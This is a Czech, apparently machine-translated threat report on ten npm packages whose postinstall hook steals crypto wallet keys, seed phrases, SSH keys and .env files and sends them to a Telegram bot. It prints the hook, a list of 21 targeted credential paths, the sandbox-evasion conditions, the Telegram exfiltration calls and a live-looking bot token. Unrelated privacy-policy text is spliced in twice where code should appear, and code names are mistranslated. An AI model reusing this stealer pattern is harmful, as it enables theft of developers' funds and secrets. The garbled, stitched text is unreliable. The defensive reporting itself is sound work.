TL, DR
Dne 9. června 2026 byl vytvořen jeden účet vydavatele npm, aicrypto-xzggg, odesláno deset balíčků s názvy s příchutí kryptoměn a Web3 – farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9a šest dalších.
Každý balíček spouští stejnou datovou zátěž z postinstall hook. Při instalaci zkontroluje, zda běží v rámci CI nebo sandboxu – pokud ne, načte úložiště klíčů peněženky, soubory seedfrází, SSH klíče a .env soubory z šesti blockchainových ekosystémů a přenáší je do Telegramového bota.
Jediným indikátorem, který může obránce okamžitě hledat, je ID telegramového bota. 8227918239.
Vážnost: kritický — přímá krádež podpisových klíčů a obnovovacích frází z vývojářské pracovní stanice.
Útok: Jak to funguje
Tyto balíčky se inzerují jako nástroje pro vývojáře blockchainu. balíček.json je minimální a směřuje instalační životní cyklus na skript:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } skripty/postinstall.js je jednořádková podložka, která načítá skutečné užitečné zatížení: vyžadovat(„../src/index.js“). Protože po instalaci běží automaticky během npm install, není vyžadován žádný import kódu vývojářem – k jeho spuštění stačí umístění balíčku do stromu závislostí.
Řetězec smrti uvnitř src/index.js jsou čtyři kroky:
- Kontrola prostředí. Funkce Guard rozhoduje, zda hostitel vypadá jako agent sestavení nebo analytický sandbox.
- Zpoždění. Provedení je odloženo za setTimeout zhruba 7.4 sekundy.
- Sbírka. Prochází se pevný seznam cest k souborům peněženky, klíče a tajného kódu; existující soubory se zařazují do fronty.
- Exfiltrace. Soubory ve frontě jsou odesílány telegramovému botu a předchází jim souhrnná zpráva.
Seznam cílů kolekce zahrnuje šest řetězců a generické tajné kódy vývojářů. Oříznuto:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Celkem dvacet jedna cest. Položky adresáře, jako například ~/.ethereum/úložiště klíčů jsou rozbaleny a každý soubor uvnitř je zařazen do fronty. Exfiltrace přímo využívá API Telegram Bot – odeslat zprávu volání se souhrnem hostitele a souboru, poté odeslatDokument vícedílné nahrávání pro každý soubor:
(souhrnně „Stránka (Stránky)“), a naše postupy pro shromažďování, využívání, uchovávání, ochranu a zpřístupnění takových informací. Tyto zásady platí pro informace, které shromažďujeme na těchto stránkách nebo v e-mailu, textových a jiných elektronických zprávách mezi vámi a těmito stránkami. Rovněž popisují vaše možnosti týkající se využívání vašich osobních údajů, přístupu k nim a jejich opravě.
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Souhrnná zpráva, kterou kód sestavuje, začíná literálním řetězcem Zloděj kryptoměn, následovaný názvem hostitele, uživatelským jménem, názvem původního balíčku, počtem souborů a časovým razítkem.
Co je zde nového
Rozdíl není v mechanismu krádeže — exfil z npm založený na Telegramu po instalaci hooks je dobře vyšlapaná. Je to popravčí brána. Před provedením jakékoli akce datová část zavolá funkci, která vrátí hodnotu true, když hostitel připomíná CI runner nebo sandbox, a vrátí hodnotu dříve, když se tak stává:
(souhrnně „Stránka (Stránky)“), a naše postupy pro shromažďování, využívání, uchovávání, ochranu a zpřístupnění takových informací. Tyto zásady platí pro informace, které shromažďujeme na těchto stránkách nebo v e-mailu, textových a jiných elektronických zprávách mezi vámi a těmito stránkami. Rovněž popisují vaše možnosti týkající se využívání vašich osobních údajů, přístupu k nim a jejich opravě.
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Regex container-id je pozoruhodná klauzule: 12hexový název hostitele je výchozí tvar, který Docker přiřazuje kontejner, takže datová zátěž považuje „název mého hostitele vypadá jako kontejner Dockeru“ za důvod pro nečinnost. V kombinaci se sedmisekundovým zpožděním návrh upřednostňuje běh na skutečné pracovní stanici vývojáře a ticho všude, kde to vypadá jako automatizovaná analýza. Tato brána potlačila signály dynamické analýzy a udržela statický tok exfilů jako primární důkaz pro přesvědčení.
Timeline
| Datum (UTC) | událost |
|---|---|
| 2026-06-09 ~02:48 | První balíčky v clusteru označené příznakem při publikaci (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Členové s vyšší verzí označeni (ethereum-kit-9 ve společnosti 1.25.36, wallet-sdk-9 v 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Koneční členové označeni (defi-tools-39 ve společnosti 4.26.29, swap-sdk-87 ve společnosti 4.63.78, farming-tools-12 v 4.68.54) |
| 2026-06-09 | Všech deset je klasifikováno jako škodlivé a nahlášeno k odstranění z registru |
Všech deset se objevilo zhruba během sedmdesáti minut, což odpovídá jedinému skriptovanému publikování z jednoho účtu.
Ukazatele kompromisu
Síťové a behaviorální indikátory (hostitel defangovaný):
| Indikátor | Hodnota |
|---|---|
| Koncový bod exfilu | api[.]telegram[.]org (API pro Telegram Bot) |
| ID telegramového bota | 8227918239 |
| Token bota | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID chatu v Telegramu | 6433587894 |
| Instalace háku | postinstall → scripts/postinstall.js → src/index.js |
| Značkovací řetězec | CRYPTO STEALER v sestavené souhrnné zprávě |
| Vydavatel | aicrypto-xzggg (uvedený e-mail vipsyria88@gmail[.]com, neověřené) |
Balíčky a verze, každá s vlastním SHA-256 src/index.js datová část (datové části jsou funkčně identické a liší se pouze vloženým popiskem názvu balíčku, takže každý hash je odlišný):
| Balíček | Verze | SHA-256 souboru src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Jednoduchý vyhledávací dotaz: prohledejte instalační protokoly a soubory zámků pro libovolný z deseti názvů a prohledejte odchozí provoz pro připojení k API Telegram Bot z hostitelů pro sestavení nebo vývojáře, kteří jej jinak nepoužívají.
Atribuce a pozorované chování
Všech deset balíčků bylo publikováno jedním účtem, aicrypto-xzggg, jehož uvedený e-mail je vipsyria88@gmail[.]comE-mailová adresa i odkaz na správu zdrojového kódu nejsou v metadatech registru ověřeny a účet má silně negativní skóre reputace. Nepotvrdili jsme, kdo účet provozuje.
Od jakéhokoli tvrzení o identitě je třeba odlišit dva detaily. Zaprvé balíček.json autor pole čte Alex Smith na každém balíčku, zatímco skutečný publikační účet je aicrypto-xzggg; pole autora jsou samodeklarovaná metadata a nestanovují autorství. Za druhé, čísla verzí se značně liší – někteří členové sedí na 1.0.0, ostatní na 4.68.54 — což je v souladu s opětovným použitím jednoho datového zatížení napříč nově vytvořenými názvy balíčků, spíše než s uchováním skutečných historií vydání.
Chování je v celém clusteru jednotné: stejný seznam cílových cest, stejné ID bota a ID chatu v Telegramu, stejná brána prostředí, stejné Zloděj kryptoměn marker. Tato uniformita je nejsilnějším pojítkem mezi balíčky. Je to signál stejného operátora, nikoli identita.
Dopad, trendy a pokyny pro obránce
Expozice je konkrétní. Vývojář, který nainstaluje kterýkoli z těchto balíčků na pracovní stanici, která obsahuje softwarovou peněženku, soubor seed-frází nebo SSH klíč, má tyto soubory načteny a odeslány z hostitele během několika sekund. Obnovovací fráze a podpisové klíče nevyprší tak, jako token relace; jakmile je mnemotechnická pomůcka.txt nebo Solana id.json opouští stroj, finanční prostředky, které ovládá, jsou v ohrožení, dokud nebudou přesunuty. Stejný běh také zachycuje .env soubory, které běžně obsahují klíče API a přihlašovací údaje k databázi.
Za tímto klastrem stojí dva trendy. Prvním je pokračující používání názvů s kryptoměnovou a Web3 tematikou k oslovení specifického publika – vývojářů, kteří uchovávají peněženky a klíče na stejném počítači, na který instalují závislosti. Druhým je zrání sandboxového obcházení v datových částech během instalace. Brána, která kontroluje proměnné prostředí CI, uživatelská jména běžců a tvar názvu hostitele s ID kontejneru Docker, je záměrnou snahou chovat se při analýze jinak než na skutečné pracovní stanici a zvyšuje laťku pro čistě dynamickou detekci.
Pro obránce:
Instalace se skripty ve výchozím nastavení zakázanými. npm install –ignore-scriptsnebo nastavit ignore-scripts=true in .npmrc, zabraňuje po instalaci provádění; povolte skripty pouze pro ty specifické závislosti, které je skutečně potřebují.
Udržujte peněženky a podpisové klíče mimo vývojové a sestavovací stroje. Používejte hardwarovou peněženku nebo specializovaného podpisového hostitele bez závislostí.
Léčit .env, úložiště klíčů a soubory se semennými frázemi jako korunovační klenoty. Nikdy by neměly být umístěny v adresáři, který je zároveň npm install pracovní strom.
Hledejte odchozí připojení k Telegram Bot API z CI a od vývojářských hostitelů. Většina sestavovacích prostředí jej nikdy nevolá; pokud se tak stane náhle, hned po instalaci, stojí za to prozkoumat.
Závislosti typu Pin a Review. Zbrusu nový balíček s generickým krypto názvem, po instalaci hook a žádný odkaz na repozitář si nezaslouží kontrolu před vstupem do lockfile.
Klauzule o vyhýbání se ID kontejneru je také připomínkou pro analytiky: datová část instalace, která zůstává nečinná v sandboxu, není neškodná, je selektivní. Statická kontrola instalační cesty zůstává spolehlivým způsobem, jak zjistit, co dynamické spuštění nemusí ukázat.
Reference
dokumentace k instalaci npm — skripty životního cyklu a –Ignorovat skripty— odkaz na zakázání automatické instalace hooks.





